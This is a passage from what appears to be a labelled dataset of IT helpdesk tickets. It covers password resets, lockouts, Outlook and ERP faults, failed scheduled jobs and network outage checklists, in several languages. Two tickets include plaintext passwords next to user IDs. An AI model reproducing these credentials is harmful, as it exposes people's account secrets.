____na____ (yes/no/na) _x000D_ +_x000D_ +7. site contact notified (phone/email) ? _______yes__ (yes/no/na) _x000D_ +_x000D_ +8. remote dial-in ? ___________ (yes/no/na) _x000D_ +_x000D_ +9. equipment reset ? ___________ (yes/no/na) _x000D_ +_x000D_ +10. verified site working on backup circuit ? _______ (yes/no/na) _x000D_ +_x000D_ +11. vendor ticket # ( global_telecom_1, verizon, telecom_vendor_1, telecom_vendor_2 ) _________________________ _x000D_ +_x000D_ +12. notified gsc ________ (yes/no/na) cert started ?________ (yes/no/na) _x000D_ +_x000D_ +13. additional diagnostics",GRP_8 +":i am unable to open the collaboration_platform link shared by my europe counterpart. name:theajdlkadyt hrtgsd +language: +browser:microsoft internet explorer +email:lqipwdeg.dkbmjnvl@gmail.com +customer number: + +summary:i am unable to open the collaboration_platform link shared by my europe counterpart. +\\eagl8111432\users\schetrhsdlw\collaboration_platform - company inc-\k12526634",GRP_0 +" can not reach to password_management_tool password manager to change my password name:mitgckqf ewourgcx +language: +browser:microsoft internet explorer +email:mitgckqf.ewourgcx@gmail.com +customer number: +summary:i can not reach to password_management_tool password manager to change my password",GRP_0 +": k-bngell-cgdaytshqsd + +received from: lvxakohq.tsfnhowj@gmail.com + +hello , + +pl add my name in to this team. + +also i need administrative control of this since i have heading this team after ndthwedwys rao left company. + + + +with kind ",GRP_19 +"job SID_39filesys failed in job_scheduler at: 10/24/2016 21:53:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job SID_39filesys failed in job_scheduler at: 10/24/2016 21:53:00",GRP_8 +"msd - office 2013 outlook 打不开，显示无法创建新的堆栈防护页面 please provide details of the issue. +[‎2016/‎10/‎25 9:36] melhduty gqchtedl: +hi +我的电脑邮箱打不开了 +你可以帮我吗？ +谢谢 +[‎2016/‎10/‎25 9:38] melhduty gqchtedl: +显示系统错误 +显示无法创建新的堆栈防护页面 +[‎2016/‎10/‎25 9:40] obuwfnkm ufpwmybi: +把你桌面共享给我 +[‎2016/‎10/‎25 9:41] melhduty gqchtedl: +id +",GRP_31 +看不见a3 的文件夹（\\HostName_17\teams\business\ a3 ），请帮忙弄一下。sahtym wanthryg 看不见a3 的文件夹（\\HostName_17\teams\business\ a3 ），请帮忙弄一下。sahtym wanthryg ,GRP_12 +"job Job_568 failed in job_scheduler at: 10/24/2016 20:38:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job Job_568 failed in job_scheduler at: 10/24/2016 20:38:00",GRP_8 +"login issue login issue_x000D_ +-verified user details.(employee# & manager name)_x000D_ +-checked the user name in ad and unlocked the account._x000D_ +-advised the user to login and check._x000D_ +-caller confirmed that he was able to login._x000D_ +-issue resolved.",GRP_0 + october cyber security month - ransomware october cyber security month - ransomware,GRP_0 +ms outlook stopped updating (cant receive or send e-mails since fr.10/21/16) please check lfal8512946. looks like bothms office 2010& 2016 installed? ii have an access database that won't work with 2016. 7:30am-4pm pacific 775-432-6109,GRP_0 +ticket update on inplant_872730 ticket update on inplant_872730,GRP_0 +"logon balancing error on erp SID_34 logon balancing error on erp SID_34 + +user brandtrhee pjdhfitman called on behalf of user",GRP_2 +"job Job_738 failed in job_scheduler at: 10/24/2016 17:32:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job Job_738 failed in job_scheduler at: 10/24/2016 17:32:00",GRP_8 +windows account locked windows account locked,GRP_0 +backup on company provided mobile phone backup on company provided mobile phone,GRP_0 +purchasingupstreamsso and ad for qpixeudn rjlziysd please create an purchasingupstreamsso and ad for qpixeudn rjlziysd (bachsdadgtadw). the samaccountname in ad is to be all lowercase. ,GRP_2 +"badges for msc training + +received from: gdkiehbr.kdithjsr@gmail.com + +please activate the badge numbers below for the msc training. +they need to be active from monday october 31st at 7:00 am cst to thursday november 3rd at 5:00 pm cst +54654657 +54651789 +54653756 + +",GRP_3 +"cannot get into crm missing the sales & markhtyeting tab from the enterprise portal which gives access to crm, so i don't have access to crm",GRP_2 +"please provide access + +received from: tbvpkjoh.wnxzhqoa@gmail.com + +i need access to the following path. please see pmgzjikq potmrkxy for approval. + + + +tbvpkjoh wnxzhqoa +company usa plant controller +tbvpkjoh.wnxzhqoa@gmail.com +",GRP_16 +ticket update on inplant_872683 ticket update on inplant_872683,GRP_0 +unable to login to collaboration_platform // password reset unable to login to collaboration_platform // password reset,GRP_0 +"all my calls to my ip phone are going to warehouse_toolmail, it is not even ringing. all my calls to my ip phone are going to warehouse_toolmail, it is not even ringing. ",GRP_3 +sales area selection on opportunities not filtering to those in which the account is extended. instead it shows all. sales area selection on opportunities not filtering to those in which the account is extended. see attached email communication including example for account # 81877788768.,GRP_40 +pc not detecting docking station pc not detecting docking station,GRP_3 +having trouble connecting to companysecure jeftryhf is having trouble connecting to companysecure at remote sites and usa. ,GRP_3 +i cannot log into erp. i tried rebooting the computer and i tried logging into another computer and i get a blank screen.,GRP_41 +"request to reset microsoft online services password for szrglyte.stvyhzxn@gmail.com from: microsoft on behalf of company inc. [mailto:msonlineservicesteam@microsoftonline.com] +sent: monday, october 24, 2016 6:07 pm +to: nwfodmhc exurcwkm +cc: +subject: shadakjsdd request to reset microsoft online services password for szrglyte.stvyhzxn@gmail.com +importance: high + + request to reset user's password + the following user in your organization has requested a password reset be performed for their account: + +• szrglyte.stvyhzxn@gmail.com +• first name: twejhda +• last name: asjadjs + +consider contacting this user to validate this request is authentic before continuing. + +if you have determined that this is a valid request, use your service's admin portal (office 365, windows intune, windows azure, etc.) to reset the password for this user. + +want to let you users reset their own passwords? check out how you can enable password reset for users in your organization with just a few clicks. + +sincerely, +company inc. + + + this message was sent from an unmonitored email address. please do not reply to this message. + + + + + +",GRP_0 +"usa file server, HostName_1326, has failed hard drive usa file server, HostName_1326, has failed hard drive",GRP_12 +unable to display the expense report unable to display the expense report,GRP_0 +blank call //gso blank call //gso,GRP_0 +"unlock account the user aeftjxos lhnyofad - id: vvsardkajdjtf hi team, +could you please unlock account the user aeftjxos lhnyofad - id: vvsardkajdjtf. case this account was expired, please extend the access for the account, the manager this user is zuyimtsf qjtimdsp - please contact majsdtnrio. + +or, if you have more doubts please return me .. +",GRP_2 +"unable to login to outlook from: rjsulvat uanigkqc +sent: monday, october 24, 2016 7:36 pm +to: nwfodmhc exurcwkm +subject: thadasgg fwd: problem with outlook + +it is again + + + +отправлено с iphone + +начало переадресованного сообщения: +от: ""rjsulvat uanigkqc"" +кому: ""nwfodmhc exurcwkm"" +тема: problem with outlook +hello. + +i cannot start outlook + + + + +отправлено с iphone + + +",GRP_0 +logon balancing error in erp logon balancing error in erp,GRP_2 +outlook freezing issue outlook freezing issue,GRP_0 +"the username ccghksdm787 will be used to login to company via citrix hello, + +the username ccghksdm787 will be used to login to company via citrix + +i assume that we need to delete this user profile on the citrix servers so please send a ticket to the citrix team because his account in active directory is not locked + + +oinqckds qieswrfu +manager +oinqckds.qieswrfu@gmail.com +gesendet: dienstag, 18. oktober 2016 16:40 +an: oinqckds qieswrfu +betreff: password + +hi , + +can you please reset my account so i can login again. +my user is : ccghksdm787 +my last password was: pr03bsddqd99 +it doesnt work so i cant login at the moment. + +",GRP_12 +prtgghj4k access locked jgdydqqd locked me out. i tried going onto password_management_tool to reset my password but jgdydqqd isn't listed. can you please unlock my account aerp? ,GRP_2 +unable to connect to the home internet internet connection does not appear to be working - wireless,GRP_0 +"unable to sign in reporting_tool _x000D_ +_x000D_ +received from: vmeljsfb.ymxejsbd@gmail.com_x000D_ +_x000D_ +hello, i am unable to sign into reporting_tool. can someone please assist me with my correct user name and password? i have never signed into it before._x000D_ +",GRP_2 +vitalyst transfer: crm calendar not showing on outlook vitalyst transfer: crm calendar not showing on outlook,GRP_0 +"unable to access erp through my vpn connection working from home, started vpn, cannot access erp. keep getting logon balancing error 88. suggest submitting to it team at usa.",GRP_0 +"mobile device activation. hello colleagues, + +would you please be so kind and activate the new iphone of hybegvwo dbgrtqhs (company\kstdaddaad ) + +details, please see mail below. + +many ",GRP_0 +"a kündigung for eluvxqhw gpbfkqeu, 11166428, effective 28.02.2017 has been approved. hello , _x000D_ +_x000D_ +a kündigung for eluvxqhw gpbfkqeu, 11166428, effective 28.02.2017 has been approved. _x000D_ +_x000D_ +_x000D_ +_x000D_ +",GRP_2 +"password reset. from: nwfodmhc exurcwkm +sent: monday, october 24, 2016 9:49 pm +to: uzpycdho hdswinlo; ustvaifg hmzfewks +subject: uzpycdho hdswinlo, your windows password is expiring soon!! + +hi , + +unfortunately it is an automatic process. we cannot extend the time period. +once you come back from vacation please give us a call back. we will reset the password for you. + + + +",GRP_0 +password reset password reset,GRP_0 +erp SID_34 password reset. erp SID_34 password reset.,GRP_0 +"erp name:fievgddtrr +language: +browser:microsoft internet explorer +email:hpelnwco.byjgvdzf@gmail.com +customer number: +telephone: +summary: erp bloqued +too many failes attempts. +tanks",GRP_0 +"skype online meeting freezing unable to join a skype meeting._x000D_ +skype keeps freezing.",GRP_27 +unable to connect to company center // sales org not working unable to connect to company center // sales org not working,GRP_0 +blank call blank call,GRP_0 +"unable to connect to global_telecom_1 broadband name:joetrhud +language: +browser:microsoft internet explorer +email:eziswfym.cehwzojy@gmail.com +customer number: +telephone: +summary:unable to connect to internet using broadband service.",GRP_0 +"password has expired garthyhtuy was out of office for a long time, and needs assistance with logging back in to the pc now. +he is in office at the moment.",GRP_0 +"summary:attendance_tool password forgot. name:kirathrydan +language: +browser:microsoft internet explorer +email:jchlkard.tcaiyjfg@gmail.com +customer number: +telephone: +summary:attendance_tool password forgot",GRP_0 +"erp zqt pntp and zntc price not calculating on quote 2005151099 erp quote pntp net price and zntc unit price are $0.00 but all costs are loaded. see screenshots in email attached. need quote to send to customer for ordering +",GRP_13 +"could not use bobjee application: search and explorer analytics / erp netweaver portal error message: it was not possible to retrieve the facets and their values._x000D_ +can't start exploring the information space as it doesn't contain any data.",GRP_9 +"us time change + +received from: xabkyoug.wdkyiqfx@gmail.com + +hi team, + +below is the hub posting to be published for us time change aerp. revert if you have any questions. + +planned service disruption + + + +what is the event? (daylight savings time ends in u.s.) + + + + + + +when does it begin? (6:00 pm edt saturday, 5th-november-2016) + + + + + + +when does it end? (following time change, 2:00 am est sunday, 06-november-2016) + + + + + + +who and what will be affected? (all erp users, all erp systems including erp, plm, bw, crm, supply_chain, hcm) + + +what is the reason? (all erp systems must be stopped during time change to prevent data inconsistency.) + + +questions? + +(corporate datacenter –) + + +(xabkyoug wdkyiqfx, nvyjtmca xjhpznds & network operations) + + + + +best ",GRP_0 +"job HostName_1020-idb-daily failed in job_scheduler at: 10/24/2016 10:13:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job HostName_1020-idb-daily failed in job_scheduler at: 10/24/2016 10:13:00",GRP_5 +"2 in 1 has cracked screen, but turned off touch screen. so no longer jumps curser around. 2 in 1 has cracked screen, but turned off touch screen. so no longer jumps curser around. + +phone: +pc name: lmsl8300803trys",GRP_3 +"password reset for uacyltoe hxgayczemii8 name:dctvfjrn oypnxftq +language: +browser:microsoft internet explorer +email:dctvfjrn.oypnxftq@gmail.com +customer number: +telephone: +summary:reset the password for aolhgbps pbxqtcek uacyltoe hxgayczemii8",GRP_0 +unable to login to skype unable to login to skype ,GRP_0 +"laptop issues + +received from: lwizucan.zvnxlobq@gmail.com + +hallo, + +my outlook collapsed two times. i tried to restart my laptop, but it doesn't startup anymore. restarting is on my screen for already half an hour. +[image1.jpg] +met vriendelijke groet, + +lwizucan zvnxlobq +directeur company +lwizucan.zvnxlobq@gmail.com + +",GRP_0 +"receiving collaboration_platform deletion emails in not in english + +received from: gvxfymjk.euioadyf@gmail.com + +why are these coming in spanish? +i have already told lothryra what they mean, but they should be in english. +please enter a ticket for collaboration. + +",GRP_16 +unable to open outlook unable to open outlook,GRP_0 +"ip address conflict carthygyrol is back in the office after few weeks off, she saw an ip address conflict message. +requested to restart and she did not see the message again.",GRP_0 +scan doesn't work in the home printer scan doesn't work in the home printer,GRP_0 +"erp SID_34 account lock out. erp SID_34 account lock out._x000D_ +",GRP_0 +skype meeting add-in getting disabled from outlook skype meeting add-in getting disabled from outlook,GRP_0 +"i can´t connect my note book to the "" vpn "" i can´t connect my note book to the vpn "" ""_x000D_ +page csn not be shown.",GRP_0 +"the password for ""infosthryda"" has expired. south amerirtca erp not working. today the erp is not working. while attempting to use the erp client, it shows a message (attached): ""37000: microsoft odbc vmsliazh ltksxmyv driver. login failed for user ""infosthryda"". reason: the password of the account has expired"". +we have contacted the vendor that said the password is expired due to settings configured by company dba team. dba team should unlock account, cahnge password and setup the erp with the new password.",GRP_1 +reset passwords for mgvpoyqd tnlshpwb using password_management_tool password reset. reset passwords for mgvpoyqd tnlshpwb using password_management_tool password reset.,GRP_17 +"speaker not working in skype _x000D_ +_x000D_ +received from: weupycai.epqhduro@gmail.com_x000D_ +_x000D_ +hello,_x000D_ +i am facing the issue of no sound during skype meeting. kindly do needful._x000D_ +_x000D_ +best ",GRP_0 +"problem of ticket_no1561937 which was fixed with chg1145039 has back regarding ticket_no1561937 which was fixed with chg1145039, key user reported in the attached email that the application is showing the problem again today._x000D_ +we have contacted the vendor and they told us they will verify but have recommended to run the command again while they are investigating. also they have suggested us to involve the dba team to also verify. it seems the db is missing information._x000D_ +",GRP_1 +"ts04562 printer isn't printing name:gqhfieys pkwcdbrv +language: +browser:microsoft internet explorer +email:gqhfieys.pkwcdbrv@gmail.com +customer number: +telephone: +summary:ts04562 printer still not working after system restart",GRP_0 +probleme mit fixiereinheit we101 \qvncizuf ueiybanz probleme mit fixiereinheit we101 \qvncizuf ueiybanz,GRP_24 +"efrjkspc sfhbunrp, your windows password is expiring soon!! from: efrjkspc sfhbunrp +sent: monday, october 24, 2016 11:54 am +to: nwfodmhc exurcwkm +subject: - aw: efrjkspc sfhbunrp, your windows password is expiring soon!! +importance: high + +hello. + +i have changed my password a few day days ago. + +why get i this reminder? + +please inform me if i have change again? + +",GRP_0 +"aw: teams drive folder retention/deletion - please review and respond _x000D_ +_x000D_ +received from: oxkhntpl.xwszgidt@gmail.com_x000D_ +_x000D_ +hello it support,_x000D_ +_x000D_ +could you please give mr. vxpcnrtw xelhoicd the permission to read and write, load and upload files from the global teams drive for the folder gm-sge-programdnty?_x000D_ +many ",GRP_34 +"usa ou deletion all groups, qlhmawgi sgwipoxns and ou's for usatdhdal can be deleted. usatdhdal ou can also be deleted",GRP_2 +"uacyltoe hxgaycze name:tqnbkjgu xyedbsnm +language: +browser:microsoft internet explorer +email:tqnbkjgu.xyedbsnm@gmail.com +customer number: +telephone: +summary:uacyltoe hxgaycze 2 +",GRP_0 +" billing block not removed automatically hello it,_x000D_ +_x000D_ +please check, why billing block was not removed automatically._x000D_ +_x000D_ +",GRP_13 +"need to create the delivery note for sto 5019202486, but it won´t work need to create the delivery note for sto 5019202486, but it won´t work",GRP_6 +"erp SID_34 erp production password reset name:chtrhysdrystal +language: +browser:microsoft internet explorer +email:oxkghdbr.dsyvalof@gmail.com +customer number: +telephone: +summary:good morning. can you please reset my erp password?",GRP_0 +need to install ts02345 printer need to install ts02345 printer,GRP_0 +"urgent - users in germany are reporting that they cannot reach gso using the chat feature tqnbkjgu xyedbsnm reported that he and his colleagues are unable to reach gso using the chat._x000D_ +when they fill out the form, the next page comes up only with the company logo._x000D_ +",GRP_21 +"new iphone activation / die synchronisierung mit exchange activesync ist auf ihrem gerät vorübergehend blockiert, bis d + +received from: ecwtrjnq.jpecxuty@gmail.com + +hello colleagues, + +would you please be so kind and activate the new iphone of hybegvwo dbgrtqhs (company\sdjdskjdkyr ) + +details, please see mail below. + +many ",GRP_0 +"folder access : :\\HostName_753\departements\aese\thryad folder access : :\\HostName_753\departements\aese\thryad + +read & write access needed",GRP_0 +"in outlook and all other microsoft applications a message appears saying: product deactivated in outlook and all other microsoft applications a message appears saying: product deactivated_x000D_ +",GRP_0 +"laptop bettery issue facing charging issue. + +computer name : aidl89110765e6 +service tag : dcd1hz1hd. + +",GRP_19 +reset passwords for bfnvjgxd trqmnpvu using password_management_tool password reset. reset passwords for bfnvjgxd trqmnpvu using password_management_tool password reset.,GRP_17 +"druckerfunktionsstörung _x000D_ +_x000D_ +received from: fdqjsygx.aivdjqtr@gmail.com_x000D_ +_x000D_ +hallo,_x000D_ +_x000D_ +der drucker „em96"" scannt keine dokumente ein._x000D_ +_x000D_ +fehlermeldung: zugriff überprüfen für folgende ziele fehlgeschlagen:_x000D_ +_x000D_ + \\HostName_579\_kmscan\em96: der pfad kann nicht gefunden werden._x000D_ +_x000D_ +der fehler lässt sich auch durch mehrmaliges ein- und ausschalten nicht beheben._x000D_ +_x000D_ +mit freundlichen grüßen / best ",GRP_42 +erp SID_34 password reset. erp SID_34 password reset.,GRP_0 +erp- gesperrt fehlversuche kennwort gesperrt bitte erp freischalten fehlversuche,GRP_0 +password is not synchronized. password is not synchronized.,GRP_0 +pc der maschine r45 defekt pc der maschine r45 fährt nicht mehr hoch.,GRP_33 +pc awywx00067004 in rddept qlhmawgi sgwipoxn is not getting network connection pc awywx00067004 in rddept qlhmawgi sgwipoxn is not getting network connection,GRP_19 +call from salesforce for hathryrtmut caller named benjamtrhdyin from salesforce wanted to talk to hathryrtmut,GRP_0 +bug in employee extract programdnty - reportncqulao qauighdpnager is appearing blank. bug in employee extract programdnty - reportncqulao qauighdpnager is appearing blank.,GRP_10 +EU_tool in germany steel ohne funktion - rückmelden geht nicht!!!! EU_tool in germany steel ohne funktion - rückmelden geht nicht!!!!,GRP_25 +"job Job_579 failed in job_scheduler at: 10/24/2016 05:13:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job Job_579 failed in job_scheduler at: 10/24/2016 05:13:00",GRP_8 +erp SID_34 account locked erp SID_34 account locked,GRP_0 +"msd crm error opening outlook hello_x000D_ +when open outlook crm goes on erro with .net and if i press continue i can work with outlook but not with crm plug-in._x000D_ +otherwise outlook crash.",GRP_0 +"wk38 - qdxyifhj zbwtunpy hallo, kannst du einmal nachsehen, wo der e-mail button ist am drucker. er ist weg! :-) danke. uwe",GRP_33 +"hi, few users are not able to logon to crm website. link : +users: +ottyhddok +thielpwii2e +lobodeid2d +loksdkdjwda + +please get in touch with them",GRP_33 +erp SID_34 account unlock and password reset erp SID_34 account unlock and password reset,GRP_0 +"activation of outlook email access on samsung s7 edge device for nzuofeam exszgtwd + +received from: kbclinop.vsczklfp@gmail.com + +hi, +please usa email access on new samsung s7 device for nzuofeam exszgtwd (md apac & vp cpmmecial). please find information as follow : + +email: gjbcengineering_tooll.gidsekfo@gmail.com +manager's name : chucashadqc wsljdqqds + +is this a replacement of your old device? yes, as the existing old samsung s5 phone is no longer in use. please remove access on the old samsung s5 device. + +",GRP_0 +"probleme mit bluescreen hallo , + +gerade eben ist der computer an meinem arbeitsplatz zum wiederholten male ausgestiegen und hat lediglich einen blauen bildschirm mit weißer schrift dargestellt. + +bitte schau dir das vor ort mal an. + +",GRP_24 +"login issue login issue_x000D_ +-verified user details.(employee# & manager name)_x000D_ +-checked the user name in ad and unlocked the account._x000D_ +-advised the user to login and check._x000D_ +-caller confirmed that he was able to login._x000D_ +-issue resolved.",GRP_0 +no display on desk phone. no display on desk phone.,GRP_33 +probleme mit lan für rechner erodiermaschine\ dtlmbcrx mwuateyx probleme mit lan für rechner erodiermaschine\ dtlmbcrx mwuateyx,GRP_24 +"network outage: south amerirtca -(rrc) network company-sa-south amerirtca-dmvpn-1811-router) is down since 3:53am on 10/24/16, no backup circuit what type of outage: __x___network _____circuit _____power (please specify what type of outage)_x000D_ +_x000D_ +1. top 23 cert site ? ___no______ (yes/no/na) _x000D_ +_x000D_ +2. when did it start ? ________3:53am on 10/24/16______________x000D_ +_x000D_ +3. scheduled maintenance ( power) ? ___no____ (yes/no/na) company power _________ provider power __________x000D_ + _x000D_ +4. scheduled maintenance ( network) ? ___no____ (yes/no/na) company maint________ (yes/no) provider maint/ticket #__________________ _x000D_ +_x000D_ +5. does site have a backup circuit ? ___no___ (yes/no/na) _x000D_ +_x000D_ +6. backup circuit active ? ____no____ (yes/no/na) _x000D_ +_x000D_ +7. site contact notified (phone/email) ? _________ (yes/no/na) _x000D_ +_x000D_ +8. remote dial-in ? _____na______ (yes/no/na) _x000D_ +_x000D_ +9. equipment reset ? _____na______ (yes/no/na) _x000D_ +_x000D_ +10. verified site working on backup circuit ? ___na____ (yes/no/na) _x000D_ +_x000D_ +11. vendor ticket # ( global_telecom_1, verizon, telecom_vendor_1, telecom_vendor_2 ) _________________________ _x000D_ +_x000D_ +12. notified gsc ________ (yes/no/na) cert started ?________ (yes/no/na) _x000D_ +_x000D_ +13. additional diagnostics",GRP_8 +"EU_tool is hanging and slow at the loaction. EU_tool is hanging and slow at the loaction. +",GRP_25 +"job Job_593 failed in job_scheduler at: 10/24/2016 04:05:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job Job_593 failed in job_scheduler at: 10/24/2016 04:05:00",GRP_8 +"german workflow objects from all folders are gone :de_industrial - 01, gen ing, transportation 1/2, ici german workflow objects from all folders are gone :de_industrial - 01, gen ing, transportation 1/2, ici. in the morning there were approximately 20 objects.. please check also the uk folder. ",GRP_13 +"problem with outlook _x000D_ +_x000D_ +received from: rjsulvat.uanigkqc@gmail.com_x000D_ +_x000D_ +hello._x000D_ +_x000D_ +i cannot start outlook_x000D_ +_x000D_ +_x000D_ +",GRP_0 +"netzlaufwerke auf auf quattro-4206, quattro-4201, quattro-4204 seit sonntag nicht verbunden. netzlaufwerke auf auf quattro-4206, quattro-4201, quattro-4204 seit sonntag nicht verbunden.",GRP_42 +password reset - vvjotsgssea password reset - vvjotsgssea,GRP_0 +uacyltoe hxgaycze chat uacyltoe hxgaycze chat,GRP_0 +mount request on lib6 prod weekly for job backup_tool-HostName_1048-weekly2 mount request on lib6 prod weekly for job backup_tool-HostName_1048-weekly2,GRP_8 +"help to change the windows password using password_management_tool password tool. help to change the windows password using password_management_tool password tool._x000D_ +-connected to the user system using teamviewer._x000D_ +-help the user login to the password_manager_tool password tool and change the passwords._x000D_ +-help the user to sync the psswords to the company network._x000D_ +-caller confirmed that he was able to login._x000D_ +-issue resolved.",GRP_0 +employee owned mobility agreement employee owned mobility agreement-,GRP_0 +"chat feature for german language is not working please check if this is related to the change in name of the telephony_software queues from fdrf to germany._x000D_ +please check the attached error._x000D_ +chat url - _x000D_ +english language chat works normally.",GRP_7 +"job Job_485 failed in job_scheduler at: 10/24/2016 02:47:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job Job_485 failed in job_scheduler at: 10/24/2016 02:47:00",GRP_8 +"job Job_1390 failed in job_scheduler at: 10/24/2016 02:43:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job Job_1390 failed in job_scheduler at: 10/24/2016 02:43:00",GRP_9 +"job Job_1338 failed in job_scheduler at: 10/24/2016 02:21:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job Job_1338 failed in job_scheduler at: 10/24/2016 02:21:00",GRP_9 +"material type ""nd"" doesn ´t create any requriment for the zlz agreements orders _x000D_ +_x000D_ +received from: qbewrpfu.lwibmxzo@gmail.com_x000D_ +_x000D_ +mit freundlichen grüßen / best ",GRP_13 +"job Job_487 failed in job_scheduler at: 10/24/2016 02:16:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job Job_487 failed in job_scheduler at: 10/24/2016 02:16:00",GRP_8 +"passwort change failed _x000D_ +_x000D_ +received from: ovnedzxg.pylshdvb@gmail.com_x000D_ +_x000D_ +dear sir or madam,_x000D_ +_x000D_ +while changing my password through the password_management_tool password manager, following issue occured:_x000D_ +_x000D_ +[cid:image001.png@01d22dcd.0a760ce0]_x000D_ +_x000D_ +for the erp hcm production target it was not able to change the password. details say ""please contact your helpdesk""._x000D_ +_x000D_ +many ",GRP_0 +etiketten drucker im bereich endkontrolle germany defekt funktionsstörung,GRP_33 +on;ly for uacyltoe hxgayczeing - sn on;ly for uacyltoe hxgayczeing - sn ,GRP_36 +"drucker wk1678 + +received from: inqogkxz.rgmslhjn@gmail.com + +hallo help, +drucker wk1678 funktioniert nicht mehr richtig. +etiketten verschieben sich. +bitte herrn himghtmelreich informieren. +vielen dank + + + +best ",GRP_33 +"job Job_1854 failed in job_scheduler at: 10/24/2016 01:36:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job Job_1854 failed in job_scheduler at: 10/24/2016 01:36:00",GRP_8 +"job Job_2589 failed in job_scheduler at: 10/24/2016 01:30:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job Job_2589 failed in job_scheduler at: 10/24/2016 01:30:00",GRP_8 +"area code routing check for machine line the following area codes below are being routed from our line to tyuhfljp zyjfpgtk when someone calls the help desk line. they should be routed to lewbzysd gqdaikbv. can you please check the routing? + +area codes +41867 +70567 +51967 + +group 5 - dnis 5849 +",GRP_7 +"engineering tool login issue. engineering tool login issue._x000D_ +help to change the windows password using password_management_tool password tool._x000D_ +-connected to the user system using teamviewer._x000D_ +-help the user login to the password_manager_tool password tool and change the passwords._x000D_ +-help the user to sync the psswords to the company network._x000D_ +-caller confirmed that he was able to login._x000D_ +-issue resolved.",GRP_0 +"network outage: - india () since sunday (oct 23rd):telecom_vendor_1 sr:25182480 what type of outage: ___x__network _____circuit _____power (please specify what type of outage)_x000D_ +_x000D_ +1. top 23 cert site ? ___no______ (yes/no/na) _x000D_ +_x000D_ +2. when did it start ? _________oct 23rd___________x000D_ +_x000D_ +3. scheduled maintenance ( power) ? __na_____ (yes/no/na) company power _________ provider power __________x000D_ + _x000D_ +4. scheduled maintenance ( network) ? __na_____ (yes/no/na) company maint________ (yes/no) provider maint/ticket #__________________ _x000D_ +_x000D_ +5. does site have a backup circuit ? ___no___ (yes/no/na) _x000D_ +_x000D_ +6. backup circuit active ? ________ (yes/no/na) _x000D_ +_x000D_ +7. site contact notified (phone/email) ? _________ (yes/no/na) _x000D_ +_x000D_ +8. remote dial-in ? ______na_____ (yes/no/na) _x000D_ +_x000D_ +9. equipment reset ? _____na______ (yes/no/na) _x000D_ +_x000D_ +10. verified site working on backup circuit ? ____na___ (yes/no/na) _x000D_ +_x000D_ +11. vendor ticket # ( global_telecom_1, verizon, telecom_vendor_1, telecom_vendor_2 ) ____telecom_vendor_1:25182480 _____________________ _x000D_ +_x000D_ +12. notified gsc ____yes____ (yes/no/na) cert started ?________ (yes/no/na) _x000D_ +_x000D_ +13. additional diagnostics",GRP_8 +uacyltoe hxgaycze ticket uacyltoe hxgaycze ticket,GRP_0 +"login not possible for trail employee thsaqsh 767202934 + +received from: jhyazros.azdxonjg@gmail.com + +hello +following trail employee working in pthyu5 is unable to login his company hub mail id to view salary slip. request to rectify the same aerp +name: thsaqsh +i number: 767202934 +mail id: hjsastadad.kjddwdd2@company.com +user id: wshqqhdqh +password:vasanqi7892016 + +",GRP_0 +outlook打不开 打开outlook时，显示outlook.ost文件错误，程序自动关闭。,GRP_0 +"circuit outage:india plant primary telecom_vendor_1 circuit is down since 12:11 am on 10/24 et,site up on secondary telecom_vendor_3 what type of outage: _____network __x___circuit _____power (please specify what type of outage)_x000D_ +_x000D_ +1. top 23 cert site ? __yes_______ (yes/no/na) _x000D_ +_x000D_ +2. when did it start ? ______12:11 am on 10/24 et,________________x000D_ +_x000D_ +3. scheduled maintenance ( power) ? ____na___ (yes/no/na) company power _________ provider power __________x000D_ + _x000D_ +4. scheduled maintenance ( network) ? ___na____ (yes/no/na) company maint________ (yes/no) provider maint/ticket #__________________ _x000D_ +_x000D_ +5. does site have a backup circuit ? ____yes__ (yes/no/na) _x000D_ +_x000D_ +6. backup circuit active ? _____yes___ (yes/no/na) _x000D_ +_x000D_ +7. site contact notified (phone/email) ? ___na______ (yes/no/na) _x000D_ +_x000D_ +8. remote dial-in ? ______na_____ (yes/no/na) _x000D_ +_x000D_ +9. equipment reset ? _____na______ (yes/no/na) _x000D_ +_x000D_ +10. verified site working on backup circuit ? ___yes____ (yes/no/na) _x000D_ +_x000D_ +11. vendor ticket # ( global_telecom_1, verizon, telecom_vendor_1, telecom_vendor_2 ) ______telecom_vendor_1 sr#25182415___________________ _x000D_ +_x000D_ +12. notified gsc ________ (yes/no/na) cert started ?________ (yes/no/na) _x000D_ +_x000D_ +13. additional diagnostics",GRP_8 +"issue in wi fi & erp login _x000D_ +_x000D_ +received from: ohdrnswl.rezuibdt@gmail.com_x000D_ +_x000D_ +hi,_x000D_ +_x000D_ +we are facing issue in wifi connectivity & erp login._x000D_ +_x000D_ +[cid:image001.png@01d22dda.2a4fa9b0]_x000D_ +_x000D_ +best ",GRP_0 +uacyltoe hxgaycze ignore uacyltoe hxgaycze,GRP_36 +"we are unable to update the status in ticketing_tool tickets. + +received from: tehsauadd.asjdidwni@company.com + +hello, + +please help us on this issue. + +issue: we are unable to update the status for tickets in ticketing_tool tool. + +below are the example tickets for your info. + + +[cid:image001.png@01d22dd8.c4f8ef00] + + +[cid:image002.png@01d22dd9.123015a0] + +",GRP_0 +uacyltoe hxgayczeing-please ignore uacyltoe hxgayczeing-pls ignore,GRP_36 +uacyltoe hxgayczeing - please ignore uacyltoe hxgayczeing - please ignore,GRP_36 +"excel database problem to run an automation + +received from: dwsyaqpr.bzasnmvw@gmail.com + +hello, + +i have developed one application which access database internally. i have already checked with few of my collogues and it's working fine. +the app is made for putyrh-5 press tool team. in their machine it's not working. + +i have checked their system configuration as well which is same as my system. + +system names: awywkwd67x217842, awyl629w8911908, awywkjsw7x217842 +configuration: office-2010 (64bit) + +this is the error what i get in their system: +[cid:image001.png@01d22941.20a282e0] + +",GRP_19 +"production order number issue + +received from: zuxcfonv.nyhpkrbe@gmail.com + +gso, + +currently erp system production order number cannot be found after order number was identify enter in shopfloor , everything is fine before erp routine maintenance , please open a ticket for escalate the responsible team , that's very urgent ! + 